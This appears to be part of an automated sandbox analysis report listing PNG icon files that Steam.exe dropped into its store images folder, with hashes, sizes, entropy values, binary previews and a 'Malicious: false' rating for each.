Entropy (8bit):	6.575381110392109
Encrypted:	false
SSDEEP:
MD5:	AC47F8AAD23D887FF3ECEF61D640347F
SHA1:	A5EB292F8E30758DC31958AC80713EE282ECBCA3
SHA-256:	AA97AD58E0C7E9ADE5184F0736245659299115544BA0C84D474E8813AC361715
SHA-512:	ACA96B90A10D920AFBE1E8724EF83FA6C5C47FA17DA114EDD1A5203670EC81D16A024BDE95E90944AD48F695F35208F171706C695618D8D22FB4552210C26768
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:08950A12EBA811E0A30EB6FABC85DF7B" xmpMM:DocumentID="xmp.did:08950A13EBA811E0A30EB6FABC85DF7B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:08950A10EBA811E0A30EB6FABC85DF7B" stRef:documentID="xmp.did:08950A11EBA811E0A30EB6FABC85DF7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.......IDATx.....@.F...@F..p..@..M...@6..p.......L......._..w.>.x.g.9..TA.TA..#..).04H..V..,f...........\..j..G.d.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steamcontroller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3350
Entropy (8bit):	7.893482719022551
Encrypted:	false
SSDEEP:
MD5:	E3C2D31EF2A4CEEAF011545F65DE5ECB
SHA1:	92E69EE0A5C955D38131D3EDA1FEEA67294ADD0C
SHA-256:	69D385D104FDC64B2B1DFD87D750E850D07DE911CBB2EB4B2C96DC218AA57090
SHA-512:	37840282315010A63DDB4CB729199614D83BE80C7E139FF6EC806DCE13A8BFCFCEA0F8D853149B44DE817FF50CEC1CB4892095AF992185B45278346D014CD259
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steamcontroller_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	7.9029239006146526
Encrypted:	false
SSDEEP:
MD5:	4C83F8073EAA0CDF3748B6308F9846F5
SHA1:	C0F4FDC5CAE50463E5A83B0420AFCDC58276B75A
SHA-256:	4D5086E9DB6CDA2E85339BCBD3A658AD6AE0AE14EA9FC8BE82392E0E556D82DC
SHA-512:	51589CF1CC72684C2627F8BE42BAFC2EFB87A0281ACF7D1A6962046DE2633A574DF153635A48C0F894E13E9345DC5E0B16EC6CDDA8A8805163154CE6A2E9A530
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steamos_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3724
Entropy (8bit):	7.904414721821933
Encrypted:	false
SSDEEP:
MD5:	D4A7EFC9933C6FDD4CCD4DBF0F8AF962
SHA1:	665CE684812C9456153DFAA32E6CC55A800ACEE4
SHA-256:	B501F6E439929229D2CD7F0AE71401827658FE39A4BD210E09D0EBF1791D4BDC
SHA-512:	71343BB67D55F2574C1292632750A5D86F6E4895D761F52AD5783C83C0C44A4EEECF208E9C02B5689628AC6EEDBBD02E592479F9F39A7E0B12B76ECD96BFAC16
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steamplay.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 124 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3973
Entropy (8bit):	7.9094179417475585
Encrypted:	false
SSDEEP:
MD5:	3369FFD1D3BA8DAA6337537C24A166F7
SHA1:	5181B3B09EB30A99B561A3BD65BA5796B13523AA
SHA-256:	235D2B6FF0B478E20CD661F61FA83F52A50D874B13E2A312865F2CA7CF3CB2B4
SHA-512:	6FC72E76548FDA89F86F004BA9D021FC59D29ABD028B6F1D727975EF7770F4CA57C2E0E58B4B48FFECF0C64E14F3C8F46CAA1C05C76C5CE1F65D0279DE635535
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\|...(.....<.._....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steamplay_full.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 207 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.61485578558095
Encrypted:	false
SSDEEP:
MD5:	BCF4BA15482856AF274A9B7B5E00EC1A
SHA1:	201AB72E04599EF9E4BB54DF6D7360C5F19A726B
SHA-256:	E5B451D8A71ADC9613D70553AE1A57CB92F5EAE571290DB2A8563201D1EFE013
SHA-512:	020D817F192067FC416B985113DDE900DCC0563F5A228EDEABE296710F00D8831C3D3A81F470B8D257E367CADCB424A6EBBA97C6A0037351382AE9CE1B34A592
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......(.....Y..e....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6F754A76EBA811E0B332EA01AA214D2E" xmpMM:DocumentID="xmp.did:6F754A77EBA811E0B332EA01AA214D2E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F754A74EBA811E0B332EA01AA214D2E" stRef:documentID="xmp.did:6F754A75EBA811E0B332EA01AA214D2E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.~.X....IDATx..].q.8..nR...^..T`..(....r..+P\....T ..)......t....[...g..F.E.....@zz:.&....)+.....`..0............O...f.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_streaming360video_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15989
Entropy (8bit):	2.174128177479467
Encrypted:	false
SSDEEP:
MD5:	A1FFFE4D2CC99E2577F96D9465DD4DB3
SHA1:	0DC1960C536D5ECA9DEC983AA4A92572F588914E
SHA-256:	0755708CBD90689CA8B838C3D5C9E9EF34DE9FA0AC09D93AE49D1CABC1509682
SHA-512:	8DABA2930E148098180DDA4CB48D0835191D0A3728C0C977D7E9DED0BF4583CB81B16FB335314B09CDCDC092B692D8F0EFD0F787AA3526FBEA8D74A4D89CF436
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs...............:.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-07-23T08:24:10-07:00</xmp:CreateDate>. <xmp:ModifyDate>2018-06-28T16:01:47-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_streamingvideo_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16056
Entropy (8bit):	2.174166492095054
Encrypted:	false
SSDEEP:
MD5:	4E2F758B4EED64AA271D30FBDA763E3E
SHA1:	0269A128FD572EC2FFB193EF3699486BB1A5022A
SHA-256:	C8EA7EFF90153A0CA8D1A80648DA117453CDD00C4B6526EBC25F36A5CE8EB076
SHA-512:	B3FC6D4514D73D2D84C865A6D258904159050247A83BD2FC8F88E1A47882B764EF43B94E9F073846EF61F4460173A080F87394EC66C7A006DA6438C3AAB2F376
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs...............;4iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-07-23T08:24:10-07:00</xmp:CreateDate>. <xmp:ModifyDate>2018-06-28T16:06-07:00</xmp:ModifyDate>. <xmp:Meta

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_streamingvideoseries_storefront .png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15753
Entropy (8bit):	1.9546547360197701
Encrypted:	false
SSDEEP:
MD5:	72E0204BAF2F4B7B912A3DB89258A955
SHA1:	CE4EC7D2374B73B682EF6A83E3E562EDB977ED3F
SHA-256:	B2ED49892F4C6C7D6DE4D027274BE009D166896E060B36F07D9B5ED1FBBD3E41
SHA-512:	D91EC35A5E9CE6147C52743D51BD43EDB7D934B7B8BB7991B523861C792768359D619432F9809412691C7FAEE3A3EF449688CA2464B797F421724EA45C0C6C25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs...............;.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-07-23T08:24:10-07:00</xmp:CreateDate>. <xmp:ModifyDate>2018-06-28T16:02:16-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_windows_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3159
Entropy (8bit):	7.881569224641086
Encrypted:	false
SSDEEP:
MD5:	7BFB40B7BC7B039F4F5F2CA78D70201D
SHA1:	88CD30D18E8544253948842BA4E953E6B7159D89
SHA-256:	2D8FE8277D54E61E0BFB769BD8840D909C66C77C2FC7DE7A64056F64EC9A49FB
SHA-512:	48CA7F8967E70A72807A6CC7DEB41D59B0FB08477EEB138437D30327E3208AB551A447082D7031A35FBB36A9DB13C48D9DC653515CA851A44BBB6FE58253FB7C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_wishlist.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1287
Entropy (8bit):	6.718423302285829
Encrypted:	false
SSDEEP:
MD5:	7A4D95F5A77983B21A62BDA0C0C23126
SHA1:	56D004BDF3146349EADA5D7CC69BBB2C10388D19
SHA-256:	8F5B299FEEC95FCAA347754CDA7C1A5AD22555D087A14A8BA0C53B8724A46519
SHA-512:	902B9E3C13EC35B776BB436433B8B674E03D1C552EFF4B0392F6A0793EA75A7A0AA19888CC395B84674EA9068DEC4565B698B0333A8F06D3189339E5B10E3CF8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D4D44CFA5CC111E5934AFB09133EE669" xmpMM:DocumentID="xmp.did:D4D44CFB5CC111E5934AFB09133EE669"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D4D44CF85CC111E5934AFB09133EE669" stRef:documentID="xmp.did:D4D44CF95CC111E5934AFB09133EE669"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.sic...{IDATx.b...?.`.L....:.b.J..0..... ..RN$..5^..u)..o.222....@...ld._.....9.....9).$. .E.#.9.J)..........B.....[Hu$

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_workshop.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1287
Entropy (8bit):	6.780161137912114
Encrypted:	false
SSDEEP:
MD5:	2A1D139512C3580D170EAC6C4A32580A
SHA1:	6CE504060904B0C0806F48BD9A49D95D7FFF417F
SHA-256:	F37004AD6BD092CFA5B3FDA231314DFA85816293FB82EDAFAFBCFF2489E7D7FF
SHA-512:	7192A58D975D47ABB5E16B6FADE72553C36031D5674709E39E2CBA1B1EE6884372AB0065A4ABE7A89C8978C45345F5C3E853C9573FECD5A0204C4A35A1AE611B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:30F7C12B616011E58E8FC5FEE4BC35F6" xmpMM:DocumentID="xmp.did:30F7C12C616011E58E8FC5FEE4BC35F6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30F7C129616011E58E8FC5FEE4BC35F6" stRef:documentID="xmp.did:30F7C12A616011E58E8FC5FEE4BC35F6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>./...{IDATx..K.@...+.@.PP.].'W.S..S..$8....k...]... .....8)..K.\.....{..3\.E.......\|xy.r$.B.>.B.y. .. .........t

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\ideal.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13476
Entropy (8bit):	7.949166472576988
Encrypted:	false
SSDEEP:
MD5:	7497490FEA8256B03F90F6273D4F7F45
SHA1:	84946CBF55E24B56D4F4C376B416714A45161A52
SHA-256:	4A9AF371A2FCC158AF28F1C6726F1EF90E71F760DE4CDF1B176697202470225D
SHA-512:	65BCEA49A42FA95CAE5671BE5B58E172FC4B429542BC5E58FF83A23CB40108699657712A57F6B1B95D70CDEFC1F208A7FE4561DEF3B46126029798AF7BB7CB8D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:3180923FA69A11E1A78AB828E2A08BB0" xmpMM:InstanceID="xmp.iid:3180923EA69A11E1A78AB828E2A08BB0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.`(...0.IDATx....$U....:.8.L.......g.}#"....u!....,.a

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\input_required.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 107 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4603
Entropy (8bit):	7.9221203386055015
Encrypted:	false
SSDEEP:
MD5:	A7AE966D20B2F7813E07D757C526C094
SHA1:	A5DB623FF6A4DA4DF20D79A80BD9E043DD0065A9
SHA-256:	8841485A6DC354C535E1403A601DAE23A370227DEF4BCD8653A37E8B1FE36EF2
SHA-512:	CBD73D1F63047DFF72CD0671AC2EB9544DD58734BF92FC9DEFE8A89695F537B219B777BC01F643776591A534CC6BD8AEFBB2269674DEB9E5C4FE964BA6D25CB6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...k...........3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\jcb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15210
Entropy (8bit):	7.96383467459026
Encrypted:	false
SSDEEP:
MD5:	EB8255877F5DBAA161B6B6BABCCAD959
SHA1:	F424F6E2EE203B2F171D1A8C218DE571517AED55
SHA-256:	0B43F3D3531E312F145EA3ADA5DB686BB045196640DAA0D99E743618FCD026EE
SHA-512:	D02A4A2AB20E5D9A4D1F2A61AF8F65CC273FAD10D2B8753D7C97EE007E470F97DB11DAA19E968D03E3048EA2FB5BA7539E12F99573835CB4D650DC4D8A0C849B
Malicious:	false
Reputation:	unknown
